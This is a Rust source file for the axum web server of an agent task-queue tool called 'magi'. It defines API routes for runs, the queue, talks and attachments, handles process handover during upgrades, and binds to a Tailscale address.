1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 resuming: Arc<Mutex<HashSet<String>>>,
325 repos_cache: repos::Cache,
329 machine_config: Option<PathBuf>,
333 merge: Option<String>,
335 looping: Arc<Mutex<LoopState>>,
337 launch: Launch,
349 #[cfg(test)]
352 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
353}
354
355#[cfg(test)]
375struct BusyQueueGate {
376 reached: tokio::sync::oneshot::Sender<()>,
377 release: std::sync::mpsc::Receiver<()>,
378}
379
380#[cfg(test)]
381impl std::fmt::Debug for BusyQueueGate {
382 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
383 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
384 }
385}
386
387impl Ui {
388 pub fn new(
390 queue: Queue,
391 questions: Questions,
392 talks: Talks,
393 runs: PathBuf,
394 home: PathBuf,
395 repo: PathBuf,
396 ) -> Self {
397 Self {
398 queue,
399 questions,
400 notices: Notices::at(home.join("notifications")),
401 talks,
402 runs,
403 home,
404 repo,
405 worktrees_root: run::default_worktree_root(),
409 talk_turns: Arc::default(),
410 resuming: Arc::default(),
411 repos_cache: repos::Cache::new(),
412 machine_config: Config::machine_layer(),
413 merge: None,
414 looping: Arc::default(),
415 launch: launch_daemon,
416 #[cfg(test)]
417 busy_queue_gate: Arc::default(),
418 }
419 }
420
421 pub fn open(repo: PathBuf) -> Self {
424 Self::new(
425 Queue::open(),
426 Questions::open(),
427 Talks::open(),
428 run::runs_root(),
429 run::home(),
430 repo,
431 )
432 }
433
434 #[must_use]
441 pub fn with_merge(mut self, merge: Option<String>) -> Self {
442 self.merge = merge;
443 self
444 }
445
446 #[cfg(test)]
449 #[must_use]
450 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
451 self.machine_config = path;
452 self
453 }
454
455 #[must_use]
460 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
461 self.worktrees_root = root;
462 self
463 }
464
465 #[cfg(test)]
470 #[must_use]
471 fn with_launch(mut self, launch: Launch) -> Self {
472 self.launch = launch;
473 self
474 }
475
476 #[cfg(test)]
486 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
487 *self
488 .busy_queue_gate
489 .lock()
490 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
491 }
492
493 fn looping(&self) -> Arc<Mutex<LoopState>> {
495 Arc::clone(&self.looping)
496 }
497
498 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
505 if let Some(other) = foreign {
506 return Err(ApiError::conflict(format!(
507 "{} is already running the loop, so this one will not start a \
508 second: two loops on one queue race for the same claims and \
509 burn the agent quota twice over. Stop it where it was \
510 started.",
511 other.who()
512 )));
513 }
514 let mut state = self.lock_loop();
515 if state.live.as_ref().is_some_and(Live::alive) {
516 return Err(ApiError::conflict(format!(
517 "this magi web process (pid {}) is already running the loop",
518 std::process::id()
519 )));
520 }
521
522 let stop = daemon::Stop::new();
523 let opts = daemon::Opts {
527 repo: self.repo.clone(),
528 merge: self.merge.clone(),
529 worktrees_root: Some(self.worktrees_root.clone()),
536 ..daemon::Opts::default()
537 };
538 let launch = self.launch;
539 let looping = Arc::clone(&self.looping);
540 let handle = tokio::spawn({
541 let opts = opts.clone();
542 let stop = stop.clone();
543 async move {
544 let failure = match launch(opts, stop).await {
545 Ok(()) => None,
546 Err(e) => Some(format!("{e:#}")),
547 };
548 match &failure {
549 Some(why) => tracing::error!("the loop stopped: {why}"),
550 None => tracing::info!("the loop stopped"),
551 }
552 let mut state = lock_or_recover(&looping);
558 state.live = None;
559 state.last_error = failure;
560 state.rev += 1;
561 }
562 });
563 tracing::info!(
564 "the loop is now running in this process: repo {}, merge {}",
565 opts.repo.display(),
566 opts.merge.as_deref().unwrap_or("as the config says")
567 );
568 state.live = Some(Live { stop, handle, opts });
569 state.last_error = None;
572 state.rev += 1;
573 Ok(())
574 }
575
576 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
582 if let Some(other) = foreign {
583 return Err(ApiError::conflict(format!(
584 "the loop belongs to {}, and this process cannot stop it - \
585 stop it where it was started. A button that silently did \
586 nothing would be worse than this refusal.",
587 other.who()
588 )));
589 }
590 let mut state = self.lock_loop();
591 if !park {
594 state.resume_after_handover = false;
595 }
596 let Some(live) = state.live.as_ref() else {
597 return Ok(());
598 };
599 if live.stop.stopped() && (!park || live.stop.parking()) {
603 return Ok(());
604 }
605 if park {
606 live.stop.park();
607 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
608 } else {
609 live.stop.stop();
610 tracing::info!("the loop was asked to stop; a run in flight is finished first");
611 }
612 state.rev += 1;
613 Ok(())
614 }
615
616 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
623 let state = self.lock_loop();
624 let live = state.live.as_ref().filter(|live| live.alive());
627 LoopView {
628 running: live.is_some(),
629 stopping: live.is_some_and(|live| live.stop.finishing()),
630 parking: live.is_some_and(|live| live.stop.parking()),
631 owned: live.is_some(),
632 repo: live
633 .map_or(&self.repo, |live| &live.opts.repo)
634 .display()
635 .to_string(),
636 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
637 last_error: state.last_error.clone(),
638 daemon: DaemonView::of(reading),
639 }
640 }
641
642 fn resume_after_handover(&self, resume: bool) -> bool {
648 if !resume {
649 return false;
650 }
651 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
652 match self.start_loop(foreign) {
653 Ok(()) => true,
654 Err(e) => {
655 let why = format!(
656 "the loop could not be resumed after the upgrade: {}",
657 e.message
658 );
659 tracing::warn!("{why}");
660 let mut state = self.lock_loop();
661 state.last_error = Some(why);
662 state.rev += 1;
663 false
664 }
665 }
666 }
667
668 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
670 lock_or_recover(&self.looping)
671 }
672
673 fn is_thinking(&self, id: &str) -> bool {
679 self.talk_turns
680 .lock()
681 .is_ok_and(|turns| turns.live.contains(id))
682 || self.talks.turn_held(id)
685 }
686
687 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
706 self.claim_talk_turn(id, false)
707 }
708
709 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
712 self.claim_talk_turn(id, true)
713 }
714
715 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
716 let mut live = self
717 .talk_turns
718 .lock()
719 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
720 let inserted = live.live.insert(id.to_owned());
721 let lease = if inserted {
725 match self.talks.claim_turn(id) {
726 Ok(Some(lease)) => Some(lease),
727 Ok(None) => {
728 live.live.remove(id);
729 None
730 }
731 Err(e) => {
732 live.live.remove(id);
733 return Err(ApiError::from(e));
734 }
735 }
736 } else {
737 None
738 };
739 if lease.is_none() {
740 if queued {
741 *live.queued.entry(id.to_owned()).or_default() += 1;
746 }
747 return Ok(None);
748 }
749 Ok(Some(TalkTurnGuard {
750 talk: id.to_owned(),
751 turns: Arc::clone(&self.talk_turns),
752 released: false,
753 lease,
754 }))
755 }
756
757 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
762 let mut live = self
763 .talk_turns
764 .lock()
765 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
766 if live.live.contains(id) {
767 return Ok(TalkTurnStart::Busy);
768 }
769 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
770 return Ok(TalkTurnStart::Foreign);
771 };
772 let talk = self.talks.get(id).map_err(ApiError::from)?;
774 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
775 return Ok(TalkTurnStart::Pending);
776 }
777 live.live.insert(id.to_owned());
778 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
779 talk: id.to_owned(),
780 turns: Arc::clone(&self.talk_turns),
781 released: false,
782 lease: Some(lease),
783 }))
784 }
785
786 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
793 let parking = {
794 let mut state = self.lock_loop();
795 let resume = state.resume_after_handover
805 || state
806 .live
807 .as_ref()
808 .is_some_and(|live| live.alive() && !live.stop.stopped());
809 state.resume_after_handover = resume;
810 let Some(live) = state.live.as_ref() else {
811 return Ok(None);
812 };
813 let busy = live.stop.busy_now();
814 live.stop.park();
815 state.rev += 1;
816 busy
817 };
818 Ok(if parking {
819 daemon::current_work(&self.home, jiff::Timestamp::now())
824 .into_iter()
825 .next()
826 .map(|c| c.run)
827 } else {
828 None
829 })
830 }
831
832 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
836 let mut live = self
837 .resuming
838 .lock()
839 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
840 if !live.insert(id.to_owned()) {
841 return Err(ApiError::conflict(format!(
842 "run {id} is already being resumed"
843 )));
844 }
845 Ok(ResumeGuard {
846 run: id.to_owned(),
847 resuming: Arc::clone(&self.resuming),
848 })
849 }
850
851 pub fn router(self) -> Router {
859 Router::new()
860 .route("/", get(index))
861 .route("/app.css", get(app_css))
862 .route("/app.js", get(app_js))
863 .route("/api/health", get(health))
864 .route("/api/loop", get(loop_get).post(loop_post))
865 .route("/api/upgrade", post(upgrade_post))
866 .route("/api/runs", get(runs_list))
867 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
868 .route("/api/runs/{id}/report", get(run_report))
869 .route("/api/runs/{id}/report.json", get(run_report_json))
870 .route("/api/runs/{id}/fold", post(run_fold))
871 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
872 .route("/api/runs/{id}/resume", post(run_resume))
873 .route("/api/queue", get(queue_list))
874 .route("/api/search", get(search_get))
875 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
876 .route("/api/stats", get(stats_get))
877 .route("/api/repos", get(repos_list))
878 .route("/api/settings", get(settings_get))
879 .route("/api/settings/roles", put(settings_put_roles))
880 .route("/api/queue/{id}/hold", post(queue_hold))
881 .route("/api/queue/{id}/release", post(queue_release))
882 .route("/api/queue/{id}/priority", post(queue_priority))
883 .route("/api/queue/{id}/edit", post(queue_edit))
884 .route("/api/queue/{id}/done", post(queue_done))
885 .route("/api/questions", get(questions_list))
886 .route("/api/questions/{id}/answer", post(question_answer))
887 .route("/api/questions/{id}/say", post(question_say))
888 .route("/api/questions/{id}/consult", post(question_consult))
889 .route("/api/questions/{id}/panel", get(question_panel))
890 .route("/api/questions/{id}/panel/index.html", get(question_panel))
898 .route("/api/questions/{id}/panel/{name}", get(question_asset))
899 .route("/api/questions/{id}/asset/{name}", get(question_asset))
900 .route("/api/notifications", get(notifications_list))
901 .route("/api/notifications/read-all", post(notifications_read_all))
902 .route("/api/notifications/{id}/read", post(notification_read))
903 .route(
904 "/api/notifications/{id}/dismiss",
905 post(notification_dismiss),
906 )
907 .route("/api/talks", get(talks_list).post(talk_post))
908 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
909 .route("/api/talks/{id}/say", post(talk_say))
910 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
911 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
912 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
913 .route("/api/talks/{id}/agent", post(talk_agent))
914 .route("/api/talks/{id}/persona", post(talk_persona))
915 .route("/api/talks/{id}/close", post(talk_close))
916 .route("/api/talks/{id}/reopen", post(talk_reopen))
917 .route(
923 "/api/talks/{id}/attachments",
924 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
925 )
926 .route(
927 "/api/talks/{id}/attachments/{att}",
928 get(talk_attachment_get),
929 )
930 .route("/api/events", get(events))
931 .with_state(Arc::new(self))
932 }
933}
934
935#[derive(Debug)]
941struct TalkTurnGuard {
942 talk: String,
943 turns: Arc<Mutex<TalkTurns>>,
944 released: bool,
945 lease: Option<crate::talk::TurnLease>,
947}
948
949#[derive(Debug, Default)]
956struct TalkTurns {
957 live: HashSet<String>,
958 queued: HashMap<String, u64>,
959}
960
961enum TalkTurnStart {
964 Claimed(TalkTurnGuard),
965 Busy,
966 Foreign,
969 Pending,
970}
971
972impl TalkTurnGuard {
973 fn owns(&self) -> bool {
977 self.lease
978 .as_ref()
979 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
980 }
981
982 async fn respond(
985 &self,
986 talk: &mut Talk,
987 talks: &Talks,
988 cfg: &Config,
989 text: &str,
990 ) -> anyhow::Result<()> {
991 match &self.lease {
992 Some(lease) => lease
993 .beating(talk::respond(talk, talks, cfg, text))
994 .await
995 .and_then(|done| done),
996 None => talk::respond(talk, talks, cfg, text).await,
997 }
998 }
999
1000 fn release(mut self, live: &mut TalkTurns) {
1003 live.live.remove(&self.talk);
1004 live.queued.remove(&self.talk);
1005 self.lease = None;
1006 self.released = true;
1007 }
1008}
1009
1010impl Drop for TalkTurnGuard {
1011 fn drop(&mut self) {
1012 if self.released {
1013 return;
1014 }
1015 if let Ok(mut live) = self.turns.lock() {
1016 live.live.remove(&self.talk);
1017 live.queued.remove(&self.talk);
1018 }
1019 }
1020}
1021
1022struct ResumeGuard {
1024 run: String,
1025 resuming: Arc<Mutex<HashSet<String>>>,
1026}
1027
1028impl Drop for ResumeGuard {
1029 fn drop(&mut self) {
1030 if let Ok(mut live) = self.resuming.lock() {
1031 live.remove(&self.run);
1032 }
1033 }
1034}
1035
1036async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1046 const WINDOW: Duration = Duration::from_secs(10);
1047 const GAP: Duration = Duration::from_millis(250);
1048
1049 let deadline = std::time::Instant::now() + WINDOW;
1050 let mut said = false;
1051 loop {
1052 match tokio::net::TcpListener::bind(socket).await {
1053 Ok(listener) => return Ok(listener),
1054 Err(e)
1055 if e.kind() == std::io::ErrorKind::AddrInUse
1056 && std::time::Instant::now() < deadline =>
1057 {
1058 if !said {
1059 said = true;
1060 tracing::info!(
1061 "{socket} is still held - waiting up to {}s for it, \
1062 which is what a restart looks like from here",
1063 WINDOW.as_secs()
1064 );
1065 }
1066 tokio::time::sleep(GAP).await;
1067 }
1068 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1069 }
1070 }
1071}
1072
1073static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1076
1077const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1079
1080fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1082 value.is_some_and(|v| v == "1")
1083}
1084
1085fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1108 let exe = std::env::current_exe().context("find this binary")?;
1109 let args: Vec<String> = std::env::args().skip(1).collect();
1110 updater::log_step(
1111 home,
1112 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1113 );
1114 let log_path = home.join(WEB_LOG);
1115 let open_log = || {
1116 std::fs::create_dir_all(home)?;
1117 std::fs::OpenOptions::new()
1118 .create(true)
1119 .append(true)
1120 .open(&log_path)
1121 };
1122 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1123 Ok(pair) => (
1124 std::process::Stdio::from(pair.0),
1125 std::process::Stdio::from(pair.1),
1126 ),
1127 Err(e) => {
1128 updater::log_warn(
1129 home,
1130 &format!(
1131 "could not open {}: {e}; the successor logs nowhere",
1132 log_path.display()
1133 ),
1134 );
1135 (std::process::Stdio::null(), std::process::Stdio::null())
1136 }
1137 };
1138
1139 let mut cmd = std::process::Command::new(&exe);
1140 if resume {
1141 cmd.env(RESUME_LOOP_ENV, "1");
1142 } else {
1143 cmd.env_remove(RESUME_LOOP_ENV);
1144 }
1145 cmd.args(&args)
1146 .stdin(std::process::Stdio::null())
1147 .stdout(out)
1148 .stderr(err);
1149 #[cfg(windows)]
1150 {
1151 use std::os::windows::process::CommandExt as _;
1152 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1155 }
1156 let child = cmd.spawn().context("start the successor")?;
1157 Ok(child.id())
1158}
1159
1160const WEB_LOG: &str = "web.log";
1162
1163async fn wait_for_handover(signal: &Notify) {
1167 signal.notified().await;
1168}
1169
1170pub async fn serve(opts: Opts) -> Result<()> {
1195 let (addr, warning) = resolve_bind(&opts.bind);
1196 if let Some(warning) = warning {
1197 tracing::warn!("{warning}");
1198 }
1199
1200 report::set_color(false);
1206
1207 let repo = normalize_default_repo(opts.repo).await;
1208 let ui = Ui::open(repo).with_merge(opts.merge);
1209 let home = ui.home.clone();
1214 let repo = ui.repo.clone();
1215 updater::reconcile_after_restart(&home);
1220 updater::log_step(
1221 &home,
1222 &format!(
1223 "web process started (version {}); handover log {}, successor output {}",
1224 env!("CARGO_PKG_VERSION"),
1225 updater::log_path(&home).display(),
1226 home.join(WEB_LOG).display()
1227 ),
1228 );
1229 updater::spawn_watchdog(home.clone());
1230 tokio::spawn(run_update_recheck(repo, home.clone()));
1239 let looping = ui.looping();
1240 let socket = SocketAddr::new(addr, opts.port);
1241 let listener = bind_waiting(socket).await?;
1242 let url = format!("http://{addr}:{}", opts.port);
1243 tracing::info!(
1244 "magi web UI on {url} - there is no authentication, so anyone who can \
1245 reach this address can file and hold tasks: the tailnet is the \
1246 security boundary"
1247 );
1248 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1249 tracing::info!("resumed the loop the predecessor was running");
1250 } else {
1251 tracing::info!(
1252 "the queue loop is not running yet - start it from the UI, which is \
1253 the whole reason this process can: nothing in the queue moves until \
1254 something is running the loop"
1255 );
1256 }
1257 if opts.open {
1258 println!("{url}");
1262 }
1263
1264 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1267 let interrupted = async {
1268 if tokio::signal::ctrl_c().await.is_err() {
1269 std::future::pending::<()>().await;
1274 }
1275 };
1276 let handover = wait_for_handover(&HANDOVER);
1277 let outcome = tokio::select! {
1278 joined = &mut served => match joined {
1279 Ok(outcome) => outcome.context("serve the web UI"),
1280 Err(e) => Err(e).context("the task serving the web UI ended"),
1281 },
1282 () = interrupted => {
1283 tracing::info!("shutting down the web UI");
1284 finish_loop(&home, &looping).await;
1285 Ok(())
1286 }
1287 () = handover => {
1288 updater::log_step(&home, "serve: the select! woke on the handover signal");
1289 let successor_home = home.clone();
1290 hand_over(&home, &looping, served, move |resume| {
1291 spawn_successor(&successor_home, resume)
1292 })
1293 .await
1294 }
1295 };
1296 updater::log_step(
1297 &home,
1298 &match &outcome {
1299 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1300 Err(e) => format!("serve: returning an error: {e:#}"),
1301 },
1302 );
1303 outcome
1304}
1305
1306async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1327 if repo != FsPath::new(".") {
1328 return repo;
1329 }
1330 let Ok(canonical) = repo.canonicalize() else {
1331 return repo;
1332 };
1333 if git::toplevel(&canonical).await.is_ok() {
1334 return repo;
1335 }
1336 let Some(home) = dirs::home_dir() else {
1337 return repo;
1338 };
1339 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1340 Some(found) => {
1341 tracing::info!(
1342 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1343 canonical.display(),
1344 found.path.display(),
1345 found.reason,
1346 );
1347 found.path
1348 }
1349 None => repo,
1350 }
1351}
1352
1353async fn hand_over(
1383 home: &FsPath,
1384 looping: &Mutex<LoopState>,
1385 served: tokio::task::JoinHandle<std::io::Result<()>>,
1386 successor: impl FnOnce(bool) -> Result<u32>,
1387) -> Result<()> {
1388 updater::log_step(home, "hand_over: entered; writing the parking stage");
1389 match updater::read_progress(home) {
1390 Some(mut progress) => {
1391 progress.advance(updater::Stage::Parking);
1392 updater::write_progress_logged(home, &progress);
1393 }
1394 None => updater::log_warn(
1395 home,
1396 "hand_over: upgrade.json is unreadable; no parking stage",
1397 ),
1398 }
1399 finish_loop(home, looping).await;
1400 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1401 served.abort();
1402 let _ = served.await;
1403 updater::log_step(home, "hand_over: listener released");
1404 let resume = lock_or_recover(looping).resume_after_handover;
1407 match updater::read_progress(home) {
1408 Some(mut progress) => {
1409 progress.advance(updater::Stage::Restarting);
1410 updater::write_progress_logged(home, &progress);
1411 }
1412 None => updater::log_warn(
1413 home,
1414 "hand_over: upgrade.json is unreadable; no restarting stage",
1415 ),
1416 }
1417 updater::log_step(
1418 home,
1419 &format!("hand_over: starting the successor (resume={resume})"),
1420 );
1421 match successor(resume) {
1422 Ok(pid) => {
1423 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1424 Ok(())
1425 }
1426 Err(e) => {
1427 updater::log_warn(
1428 home,
1429 &format!("hand_over: the successor did not start: {e:#}"),
1430 );
1431 Err(e)
1432 }
1433 }
1434}
1435
1436async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1443 let live = lock_or_recover(state).live.take();
1444 let Some(live) = live else {
1445 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1446 return;
1447 };
1448 live.stop.stop();
1449 lock_or_recover(state).rev += 1;
1450 updater::log_step(
1451 home,
1452 "finish_loop: waiting for the loop to finish the run in flight",
1453 );
1454 let waited = std::time::Instant::now();
1455 let _ = live.handle.await;
1458 updater::log_step(
1459 home,
1460 &format!(
1461 "finish_loop: the loop ended after {:.1}s",
1462 waited.elapsed().as_secs_f32()
1463 ),
1464 );
1465}
1466
1467pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1473 match bind {
1474 Bind::Addr(addr) => (*addr, None),
1475 Bind::Auto => match tailscale_ip() {
1476 Ok(ip) => (IpAddr::V4(ip), None),
1477 Err(why) => (
1478 IpAddr::V4(Ipv4Addr::LOCALHOST),
1479 Some(format!(
1480 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1481 local-only and a phone cannot reach it; start Tailscale \
1482 or pass --bind <addr>"
1483 )),
1484 ),
1485 },
1486 }
1487}
1488
1489fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1497 let out = std::process::Command::new("tailscale")
1498 .args(["ip", "-4"])
1499 .quiet()
1500 .output()
1501 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1502 if !out.status.success() {
1503 let why = String::from_utf8_lossy(&out.stderr);
1504 let why = why.trim();
1505 return Err(format!(
1506 "`tailscale ip -4` failed ({}){}",
1507 out.status,
1508 if why.is_empty() {
1509 String::new()
1510 } else {
1511 format!(": {why}")
1512 }
1513 ));
1514 }
1515 String::from_utf8_lossy(&out.stdout)
1516 .lines()
1517 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1518 .find(is_tailnet)
1519 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1520}
1521
1522fn is_tailnet(ip: &Ipv4Addr) -> bool {
1524 let o = ip.octets();
1525 o[0] == 100 && (64..=127).contains(&o[1])
1526}
1527
1528type ApiResult<T> = std::result::Result<T, ApiError>;
1532
1533#[derive(Debug)]
1535struct ApiError {
1536 status: StatusCode,
1537 message: String,
1538}
1539
1540impl ApiError {
1541 fn bad_request(message: impl Into<String>) -> Self {
1543 Self {
1544 status: StatusCode::BAD_REQUEST,
1545 message: message.into(),
1546 }
1547 }
1548
1549 fn not_found(message: impl Into<String>) -> Self {
1551 Self {
1552 status: StatusCode::NOT_FOUND,
1553 message: message.into(),
1554 }
1555 }
1556
1557 fn with_status(mut self, status: StatusCode) -> Self {
1560 self.status = status;
1561 self
1562 }
1563
1564 fn bad_request_from(e: anyhow::Error) -> Self {
1568 Self::bad_request(format!("{e:#}"))
1569 }
1570
1571 fn conflict(message: impl Into<String>) -> Self {
1572 Self {
1573 status: StatusCode::CONFLICT,
1574 message: message.into(),
1575 }
1576 }
1577
1578 fn internal(message: impl Into<String>) -> Self {
1580 Self {
1581 status: StatusCode::INTERNAL_SERVER_ERROR,
1582 message: message.into(),
1583 }
1584 }
1585}
1586
1587impl From<anyhow::Error> for ApiError {
1588 fn from(e: anyhow::Error) -> Self {
1593 Self::internal(format!("{e:#}"))
1594 }
1595}
1596
1597impl IntoResponse for ApiError {
1598 fn into_response(self) -> Response {
1599 let body = serde_json::json!({ "error": self.message });
1600 (self.status, Json(body)).into_response()
1601 }
1602}
1603
1604async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1613where
1614 T: Send + 'static,
1615{
1616 match tokio::task::spawn_blocking(job).await {
1617 Ok(result) => result,
1618 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1619 }
1620}
1621
1622const ASSET_CACHE: &str = "no-cache, must-revalidate";
1640
1641fn asset_etag() -> &'static str {
1648 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1649 format!(
1650 "\"{}-{}\"",
1651 env!("CARGO_PKG_VERSION"),
1652 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1657 )
1658 });
1659 &TAG
1660}
1661
1662fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1664 [
1665 (header::CONTENT_TYPE, mime),
1666 (header::CACHE_CONTROL, ASSET_CACHE),
1667 (header::ETAG, asset_etag()),
1668 ]
1669}
1670
1671fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1679 let tag = asset_etag();
1680 let known = headers
1681 .get(header::IF_NONE_MATCH)
1682 .and_then(|v| v.to_str().ok())
1683 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1687 if known {
1688 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1689 }
1690 (asset_headers(mime), body).into_response()
1691}
1692
1693async fn index(headers: header::HeaderMap) -> Response {
1694 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1695}
1696
1697async fn app_css(headers: header::HeaderMap) -> Response {
1698 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1699}
1700
1701async fn app_js(headers: header::HeaderMap) -> Response {
1702 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1703}
1704
1705#[derive(Debug, Serialize)]
1707struct HealthView {
1708 version: &'static str,
1709 home: String,
1710 queue_rev: u64,
1711 runs_rev: u64,
